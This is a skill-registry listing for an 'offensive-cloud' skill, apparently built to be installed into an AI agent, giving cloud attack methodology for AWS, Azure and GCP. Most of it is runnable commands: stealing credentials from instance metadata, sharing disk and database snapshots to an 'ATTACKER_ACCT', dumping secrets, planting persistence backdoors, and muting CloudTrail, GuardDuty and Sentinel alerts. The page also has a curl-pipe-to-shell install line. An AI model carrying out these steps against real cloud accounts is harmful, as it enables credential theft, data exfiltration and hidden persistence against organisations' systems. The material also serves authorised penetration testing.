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snailsploit/offensive-cloudLinux, cloud y contenedores

offensive-cloud

⁨Cloud security attack methodology covering AWS, Azure, and GCP. Includes credential harvesting (IMDS, ~/.aws, env vars, leaked CI secrets, instance roles), enumeration with cloud-specific tools (pacu, ScoutSuite, Prowler, ROADtools, gcp_enum), privilege escalation paths (IAM PassRole, AssumeRole cha⁩

v2026.11.11-fd814413 instalaciones+3 en 7 días11,2 mil EstrellasMITsincronizado hace 13 horas

Instalar

¿Aún no tienes la CLI de NotHoly? Instálala primero.

$ curl -fsSL https://notholy.com/install.sh | sh
$ notholy skills install snailsploit/offensive-cloud

Escribe en ⁦~/.notholy/skills⁩ después de comprobar la firma y el SHA-256.

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EscaneoMedio5 hallazgos
  • Enlace a una IP directaSKILL.md:34
  • Enlace a una IP directaSKILL.md:37
  • Enlace a una IP directaSKILL.md:40
Ver el escaneo completo
Fuentegithub.com/SnailSploit/Claude-Red/tree/main/Skills/cloud/offensive-cloud@fd81441

Esta entrada todavía no está escrita en tu idioma, así que aparece en English.

Quick Workflow

  1. Identify the cloud and the identity context you have (user, role, service account, instance role)
  2. Enumerate without writes — aws sts get-caller-identity, az account show, gcloud auth list
  3. Map permissions to known privilege-escalation primitives (PassRole, Owner, etc.)
  4. Find the data and the persistence anchors before alarms fire
  5. Document the kill chain with timestamps, identities, and resources for the report

AWS

Identity Discovery

bash
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | awk -F/ '{print $NF}')
aws iam list-attached-role-policies --role-name <role>
aws iam simulate-principal-policy --policy-source-arn $(aws sts get-caller-identity --query Arn --output text) \
  --action-names "*"

IMDS Credential Theft

bash
# IMDSv1 (legacy)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>

# IMDSv2 (modern, requires token)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

From SSRF, IMDSv2 was historically reachable when the SSRF allowed setting custom headers. Modern AWS denies SSRF without Host: 169.254.169.254 and proper PUT-then-GET flow — SSRF in 2024+ rarely yields IMDSv2 unless the proxy reflects custom headers.

Privilege Escalation Paths

Path Required Permission Outcome
iam:PassRole + lambda:CreateFunction Pass any role to Lambda you create Run code as that role
iam:PassRole + ec2:RunInstances Pass any role to EC2 instance IMDS → role creds
iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion Edit your own policy Self-elevate
iam:UpdateAssumeRolePolicy On a privileged role Add yourself as principal
iam:CreateLoginProfile (on user without one) Set console password Console access
iam:CreateAccessKey (on another user) Mint keys for someone else Persistent access
sts:AssumeRole with sts:TagSession to ABAC role If role trusts session tags Tag-based escalation
cloudformation:CreateStack + permissive role Run any service action Indirect arbitrary perms
glue:UpdateDevEndpoint Inject SSH key into Glue endpoint Code exec as Glue role
ssm:SendCommand to any instance RCE on instances + their roles Lateral + escalation
bash
# Pacu — the tooling for AWS escalation
pacu
> import_keys default
> run iam__enum_permissions
> run iam__privesc_scan

Cross-Account / Organization

bash
# Find roles trusting the current account
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument!=null]'
# Then grep AssumeRolePolicyDocument.Statement for trusts to your account

# Org-wide (if Organizations access)
aws organizations list-accounts
aws organizations list-roots

Data Targets

bash
# S3
aws s3api list-buckets
aws s3 ls s3://<bucket> --recursive | head
aws s3api get-bucket-policy --bucket <bucket>

# Cross-region snapshot share (data exfil without S3)
aws ec2 modify-snapshot-attribute --snapshot-id snap-... \
  --attribute createVolumePermission \
  --create-volume-permission "Add=[{UserId=ATTACKER_ACCT}]"

# RDS snapshot share
aws rds modify-db-snapshot-attribute --db-snapshot-identifier mysnap \
  --attribute-name restore --values-to-add ATTACKER_ACCT

# Secrets Manager / Parameter Store
aws secretsmanager list-secrets
aws ssm get-parameters-by-path --path / --recursive --with-decryption

Persistence

bash
# Cross-account SCP exemption via service-linked role
# AWS Config snapshot delivery channel rerouted to attacker bucket
aws configservice put-delivery-channel ...  # Rare but devastating

# EventBridge rule firing Lambda you control on every IAM change
# Backdoor: Lambda creates an access key for any new admin user

Detection Evasion

  • CloudTrail to multi-region with log file validation — disable validation if you have perms
  • GuardDuty findings can be muted via update-findings-feedback if you have the permission (rare in prod)
  • VPC Flow Logs only catch IP traffic; control-plane API calls are CloudTrail-only

Azure

Identity Discovery

bash
az account show
az ad signed-in-user show
az role assignment list --all --assignee $(az ad signed-in-user show --query id -o tsv)

# Microsoft Graph
az rest --method GET --uri "https://graph.microsoft.com/v1.0/me"

IMDS

bash
curl -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

Privilege Escalation Paths

Path Required Role / Permission Outcome
User Access Administrator on self/sub Grant self Owner Subscription Owner
App Registration owner Add cert/secret, mint app-only tokens App's permissions
Virtual Machine Contributor + Reader on KV Run command on VM with MSI → KV Secrets
Custom role with */write on RBAC Edit role assignments Self-elevate
Logic App contributor Edit workflow → privileged action Indirect any action
Automation Account contributor RunBook with Run-As account Run as RunAs identity
AAD Application Administrator Assign app to high-priv role Cloud admin via app
AAD Cloud Application Administrator Same minus on-prem Cloud admin
AAD Directory Synchronization Account DCSync via AAD Connect All on-prem hashes
Privileged Authentication Administrator Reset MFA / passwords for Globals Global Admin reset
bash
# ROADtools — the AAD enumeration toolkit
roadrecon auth -u user@tenant -p pass
roadrecon gather
roadrecon gui  # browse the gathered DB

# AzureHound for BloodHound integration
azurehound list -u user -p pass --tenant tenant.onmicrosoft.com

Data Targets

bash
# Storage account access keys (gold)
az storage account keys list -g RG -n SA

# Key Vault (per RBAC + access policies)
az keyvault secret list --vault-name myvault
az keyvault secret show --vault-name myvault -n cred

# Cosmos DB primary keys
az cosmosdb keys list -g RG -n acct

# SQL admin reset
az sql server ad-admin create -g RG -s server -u attacker@tenant -i <obj-id>

Persistence

bash
# Add cert to existing privileged AAD application
az ad app credential reset --id <app-id> --append

# Conditional Access bypass: add own service principal to "trusted locations" / exclusions
# Custom rules to AAD Audit log retention

Detection Evasion

  • AAD Audit Log: tenant-level, can't be tampered with from below Global Admin
  • Microsoft Sentinel: rule shaping if you have Workbook / Analytics Rule write
  • Defender for Cloud: alert suppression rules

GCP

Identity Discovery

bash
gcloud auth list
gcloud projects list
gcloud iam service-accounts list
gcloud projects get-iam-policy $(gcloud config get-value project)

IMDS

bash
curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Privilege Escalation Paths

Path Required Permission Outcome
iam.serviceAccountTokenCreator on SA Mint tokens as SA SA's perms
iam.serviceAccountUser + compute.instances.create Pass SA to new VM Run as SA via IMDS
iam.serviceAccountKeyAdmin Create JSON key for any SA Persistent SA creds
cloudbuild.builds.create Build runs as Cloud Build SA (often Editor) Editor on project
deploymentmanager.deployments.create Runs as DM SA (often Owner) Owner
cloudfunctions.functions.create + actAs Pass any SA to function Run as that SA
dataflow.jobs.create + actAs Same pattern SA's perms
iam.roles.update (custom roles) Add permissions to a role you have Self-elevate
resourcemanager.projects.setIamPolicy Grant self any role Owner
bash
# gcp_enum / gcp_scanner
git clone https://github.com/google/gcp_scanner
python gcp_scanner.py -k gcp.json -o out/

# Hunt for SA impersonation paths
gcloud iam service-accounts get-iam-policy <sa-email>
# Look for ServiceAccountTokenCreator on something you control

Data Targets

bash
# GCS buckets
gcloud storage ls
gsutil ls -L gs://bucket
gsutil iam get gs://bucket

# Cloud SQL
gcloud sql instances list
gcloud sql users list --instance <instance>

# Secret Manager
gcloud secrets list
gcloud secrets versions access latest --secret=<name>

Cross-Project / Folder Pivot

bash
# Org-level perms?
gcloud organizations list
gcloud resource-manager folders list --organization <id>
gcloud projects list --filter="parent.id=<folder-id>"

Cross-Cloud Patterns

CI/CD as the Pivot

Most cloud takeovers in 2024-2025 start with CI tokens:

  • GitHub Actions OIDC misconfigured → assume any AWS role with weak sub claim
  • GitLab CI pushed to wrong branch → gains prod role
  • Jenkins agent with cloud credentials in env

Test the OIDC trust policy claims carefully:

json
"Condition": {
  "StringLike": {
    "token.actions.githubusercontent.com:sub": "repo:org/*"
  }
}

Snapshot Sideways (works on all 3)

Take a snapshot of a victim VM/disk → share or mount it under a controlled account → extract data offline. Bypasses host-level guardrails.

Secrets-in-Logs

CloudTrail / Activity Log / Cloud Audit Logs sometimes log request bodies. Look for SaaS integrations that POST API keys — they may end up in audit logs.

Container Registry Poisoning

ECR/ACR/Artifact Registry — if you have push perms on a tag in use by production, replace the image. Tag mutability is the bug.


Tooling Matrix

Tool AWS Azure GCP Use
ScoutSuite ✓ ✓ ✓ Posture audit
Prowler ✓ ✓ ✓ CIS/PCI checks
Pacu ✓ Offensive framework
CloudGoat ✓ Vulnerable lab
BloodHound + AzureHound ✓ Graph-based escalation
ROADtools ✓ AAD recon + offline analysis
MicroBurst ✓ PS-based offensive
Stormspotter ✓ MS' own offensive enum
gcp_scanner ✓ Token-based recon
GCPBucketBrute ✓ GCS bucket discovery

Engagement Cheatsheet

text
[ ] sts/get-caller-identity, az account show, gcloud auth list
[ ] Enumerate effective permissions (simulate-principal-policy / get-iam-policy)
[ ] Map known privesc paths against current perms
[ ] Pacu/ROADtools/gcp_scanner full enumeration
[ ] Identify data crown jewels (S3/Blob/GCS, KV, secrets)
[ ] Test cross-account/tenant/project trust paths
[ ] Test CI/CD OIDC trust policies
[ ] Test backup/snapshot exfiltration paths
[ ] Document discovered identities, paths, and data with timestamps
[ ] Persistence demonstrated only with explicit authorization

Key References

Archivos de esta versión

Permisos

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Ejecuta comandos de shellSíSí
Usa la redSíSí
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Hallazgos del escaneo

Revisado el 13 nov 2026

  1. MediaEnlace · Enlace a una IP directaSKILL.md:34
  2. MediaEnlace · Enlace a una IP directaSKILL.md:37
  3. MediaEnlace · Enlace a una IP directaSKILL.md:40
  4. MediaEnlace · Enlace a una IP directaSKILL.md:138
  5. InfoEnlace · Enlaces a dominios externos

Un escaneo limpio baja el riesgo, pero no prueba que el paquete sea seguro. Lee lo que instalas.

VersiónPublicadaCommitSHA-256FirmaCambio de permisos
v2026.11.11-fd8144113 nov 2026fd814417b27f373Firmada–

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